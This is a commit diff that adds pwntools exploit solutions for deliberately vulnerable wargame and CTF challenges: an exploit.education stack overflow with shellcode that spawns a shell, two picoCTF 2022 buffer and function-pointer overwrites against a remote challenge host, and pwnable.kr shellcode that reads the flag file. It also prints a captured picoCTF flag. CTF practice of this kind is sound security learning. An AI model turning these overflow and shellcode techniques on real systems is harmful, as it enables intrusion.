Skip to content

Commit ad384a8

Browse files
more sols (finish picoctf 2022 pwn, pwnable.kr asm sol)
1 parent 0fe2182 commit ad384a8

File tree

4 files changed

+64
-2
lines changed

4 files changed

+64
-2
lines changed

Diff for: exploit-education/phoenix/stack-five.py

+17
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
from pwn import *
2+
# currently broken
3+
s = ssh(host='localhost',user='user',password='user',port=2222)
4+
r = s.process('/opt/phoenix/amd64/stack-five')
5+
context.arch = 'amd64'
6+
offset = 0x80
7+
#payload = b'\x90'*(offset)+asm(f'jmp $+{8+6}')+b'\x90'*6+p64(0x7fffffffe5e0)+asm(shellcraft.sh())
8+
shellcode = asm(shellcraft.sh())
9+
#shellcode = b'\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05'
10+
#print(shellcode,len(shellcode))
11+
payload = b'\x90'*(offset+8-len(shellcode))+shellcode+p64(0x7fffffffe5e0)
12+
print(offset+8,len(shellcode))
13+
s.write('/tmp/payload',payload)
14+
print(payload)
15+
r.sendline(payload)
16+
r.interactive()
17+

Diff for: picoCTF/2022/function_overwrite.py

+14
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
from pwn import *
2+
3+
r = remote('saturn.picoctf.net', 56524)
4+
#r = process('/tmp/vuln')
5+
payload = b'\xff' * (1337 // 0xff)
6+
payload += bytes([1337 % 0xff])
7+
payload += b'\n'
8+
payload += str(int((0x0804c040 - 0x0804c080) / 4)).encode('ascii')
9+
payload += b' '
10+
payload += str(0x080492fc - 0x08049436 + (0x08049465 - 0x08049436)).encode('ascii')
11+
payload += b'\n'
12+
print(payload)
13+
r.send(payload)
14+
r.interactive()

Diff for: picoCTF/2022/stack_cache.py

+9
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
from pwn import *
2+
#r = process('/tmp/vuln')
3+
r = remote('saturn.picoctf.net', 55023)
4+
payload = b'a' * (0xa + 4) + p32(0x08049d90) + p32(0x08049e10)*8
5+
r.sendline(payload)
6+
r.interactive()
7+
# reassemble flag from leaked contents
8+
# flag: picoCTF{Cle4N_uP_M3m0rY_fb0696ee}
9+

Diff for: pwnable-kr/asm.py

+24-2
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,29 @@
11
from pwn import *
2-
# currently broken
32
flag_file = 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong'
4-
shellcode = asm(shellcraft.amd64.readfile(flag_file), arch='amd64')
3+
context.arch = 'amd64'
4+
shellcode = asm(f'''
5+
mov rax, 2
6+
lea rdi, [rip+filename]
7+
mov rsi, 0
8+
mov rdx, 0
9+
syscall
10+
11+
mov rdi, rax
12+
13+
sub rsp, 100
14+
mov rax, 0
15+
mov rsi, rsp
16+
mov rdx, 100
17+
syscall
18+
19+
mov rax, 1
20+
mov rdi, 1
21+
mov rsi, rsp
22+
mov rdx, 100
23+
syscall
24+
25+
filename: .asciz "{flag_file}"
26+
''')
527
print(shellcode)
628
s = ssh(host='pwnable.kr',port=2222,user='asm',password='guest')
729
r = s.remote('localhost', 9026)

0 commit comments

Comments
 (0)